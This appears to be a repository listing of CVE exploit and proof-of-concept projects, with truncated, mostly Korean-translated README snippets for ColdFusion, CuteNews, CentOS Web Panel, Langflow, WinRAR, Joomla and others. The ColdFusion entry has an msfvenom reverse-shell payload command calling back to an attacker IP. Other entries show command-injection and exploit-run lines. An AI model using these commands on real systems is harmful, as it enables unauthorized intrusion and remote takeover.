Unomi-CVE-2020-13942

CVE-2020-13942 Apache Unomi 원격 코드 실행 취약점 스크립트 취약점 개요 Apache Unomi는 Java 기반 오픈 소스 데이터 플랫폼으로, 고객, 잠재 고객, 방문자 데이터를 관리하고 개인화된 고객 경험을 제공하는 Java 서버입니다. Unomi는 CMS, CRM, 이슈 트래커, 네이티브 모바일 앱 등 서로 다른 시스템에서 개인화 및 프로필 관리를 통합하는 데 사용할 수 있습니다. Apache Unomi 1.5.1 이전 버전에서 공격자는 정교하게 조작된 MVEL 또는 OGNL 표현식을 사용하여 악의적인...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 안전하지 않은 역직렬화 랩 안전하지 않은 역직렬화에 취약하여 RCE로 이어지는 기본 Java REST 애플리케이션입니다. 이 프로젝트는 Java 8u45 에서 실행해야 합니다. Maven 기반이며 다음 종속성을 사용합니다: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 더 많은 가젯gadget을 시도하려면 Maven을 통해 추가 종속성을 추가할 수 있습니다. 실행 Intellij Idea 사용을 권장합니...

CVE-2009-2265

버전: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 예시 :...

CVE-2020-35476

CVE-2020-35476 OpenTSDB 2.4.0 以前において、yrange パラメータを介したコマンドインジェクションにより、リモートコード実行の脆弱性が発生します。 未完成で動作しません。コードの大部分はありますが、ペイロードを修正する必要があります。...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC HTTP.sys의 원격 코드 실행 MS15-034...

weblogic_honeypot

WebLogic honeypot Cymmetria Research, 2018. https://www.cymmetria.com/ 작성자: Omer Cohen @omercnet 특별 감사: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev 문의: [email protected] WebLogic Honeypot은 Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소에서 CVE-2017-10271을 탐지하기 위한 저상호작용low...

CVE-2018-16763

CVE 2018-16763 익스플로잇 소개 FUEL CMS 1.4.1의 PreAuth-RCE 데모 참조: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

cve-2024-4367-PoC-fixed

cve-2024-4367-PoC-fixed PDF.js는 Mozilla가 유지보수하는 JavaScript 기반 PDF 뷰어입니다. 이 취약점은 공격자가 악성 PDF 파일을 연 후 즉시 임의의 JavaScript 코드를 실행할 수 있게 합니다. 이는 Firefox126가 PDF.js를 사용하여 PDF 파일을 표시하므로 모든 Firefox 사용자에게 영향을 미치지만, 미리보기 기능을 위해 간접적으로 PDF.js를 사용하는 많은 웹 기반 및 Electron 애플리케이션에도 심각한 영향을 미칩니다...

CVE-2019-11043

PoC CVE-2019-11043 CVE-2019-11043として記録されているこのエクスプロイトは、PHP-FPMの実装におけるバグをNGINXサーバーと組み合わせて悪用します。特定の構成では、FastCGI pathinfo 内の正規表現により、FPMモジュールが割り当て済みバッファを越えて、FastCGIプロトコルデータ用に予約された領域に書き込んでしまいます。その結果、Webユーザーがリモートでコードを実行できる可能性があります。次の表は、Common Vulnerability Scoring System（CVSS）によるエクスプロイトの深刻度評価を示しています。...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - 인증되지 않은 임의 파일 업로드 CVE-2024-43160 WordPress용 BerqWP – 자동 올인원 PageSpeed 최적화 플러그인Core Web Vitals, Cache, CDN, Images, CSS, JavaScript은 /api/storewebp.php 파일에서 파일 유형 검증이 누락되어 1.7.6 이하의 모든 버전에서 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드하여 원격 코드 실행이 가능해질...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 개념 증명 POC 작성자: CRFSlick, 발견자: AkkuS CutePHP CuteNews 2.1.2에서 문제가 발견되었습니다. 공격자는 프로필 영역의 아바타 업로드 과정을 통해 avatarfile 필드를 사용하여 index.php?mod=main&opt=personal로 서버에 침투할 수 있습니다. /core/modules/dashboard.php에서 $imgsize에 대한 효과적인 제어가 없습니다. 파일의 헤더 내용을 변경하고 제어를 우회하여 코드...

CVE-2024-26304-RCE-exploit

CVE-2024-26304 - ArubaOS 원격 코드 실행 취약점 개요 CVE-2024-26304 는 ArubaOS 의 L2/L3 관리 서비스 버퍼 오버플로우로 인한 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 PAPIProcess Application Programming Interface UDP 포트 8211 로 특수하게 조작된 패킷을 전송하여 이 취약점을 악용할 수 있으며, 이로 인해 상승된 권한으로 임의 코드가 실행됩니다. CVSS 점수: 9.8 치명적 공격 벡터 : 네트워크 공격 복잡성 : 낮음 필요 권한 ...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP 원격 코드 실행 취약점 EXP&POC 재현 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 명령: 관리자 권한으로 powershell/CMD 실행 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2 조건: 대...

CVE-2022-44877

Centos Web Panel 7 인증 없는 원격 코드 실행 - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜ CVE-2022-44877 개념 증명PoC...

CVE-2025-3248

POC - 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 임의 코드를 실행할 수 있음 - CVE-2025-3248 개요 Langflow 1.3.0 이전 버전은 /api/v1/validate/code 엔드포인트에서 코드 인젝션에 취약합니다. 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 전송하여 임의 코드를 실행할 수 있습니다. 전체 POC 관련 정보 보기 — CVE-2025-3248 면책 조항 : 본 개념 증명POC은 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전에 상호 동의 없이 대상을 공격하는 ...

dubiousdisk

dubious disk - secure boot에 매우 효과적인 포리곤-Z! CVE-2022-30203, CVE-2023-21560, CVE-2023-28269, CVE-2023-28249, 그리고 더... Windows 부팅 환경의 과도하게 허용적인 코드로 인해 임의의 메모리를 덮어쓸 수 있으며, 따라서 임의의 코드 실행이 가능합니다. Exploitro는 Field-FX 2024 와일드 컴포에서 3위를 차지했습니다. 코드: Rairii 엔진 코드: NoNameNo XM 플레이어: a1k0n 리메이크된 TopazPlus 폰트:...

CVE-2024-10914

POC - CVE-2024–10914- D-Link NAS의 name 매개변수에서의 명령 주입 취약점 개요 D-Link DNS-320, DNS-320LW, DNS-325 및 DNS-340L20241028까지에서 취약점이 발견되었습니다. 이 취약점은 치명적critical으로 분류되었습니다. 이 취약점의 영향을 받는 부분은 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd 파일의 cgiuseradd 함수입니다. name 인자를 조작하면 OS 명령 주입이 발생합니다. 공격은 원격으로 수행될 수 있습니다. 공격의...

CVE-2024-41817-poc

ImageMagick 임의 코드 실행 CVE-2024-41817 ImageMagick 버전 = 9.4.0 Python 패키지: paramiko 설치 git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt 사용법 취약한 버전 자동 탐지: python3 exploit.py -H -p -u -P -d 페이로드만 빌드: python3 exploit.py -c "command" -B 전체 자동 모드...

CVE-2025-8088

CVE-2025-8088 WinRAR: WinRAR 경로 탐색을 통한 임의 코드 실행 CVE-2025-8088 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 영어 미국 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 포르투갈어 브라질 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 스페인어 에스파냐 CVE-2025-8088 PoC – 입력 재정의 - README 러시아어 RU Exploitcve20258088.ps1 python poc.py 📋 필수 인수...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla 컴포넌트 인증 없는 파일 업로드 RCE 분할 컨트롤러 업로드 우회 → 직접 쓰기 태스크 → /downloads/shell.php → RCE 개요 CVE-2026-57827 은 Joomla용으로 널리 사용되는 파일 관리 및 다운로드 컴포넌트인 RSFiles!comrsfiles 버전 발견자: Phil Taylor, mySites.guru 2026년 7월 10일 공급업체: RSJoomla rsjoomla.com 컴포넌트: comrsfiles 취약점 메커니즘 근본 원인...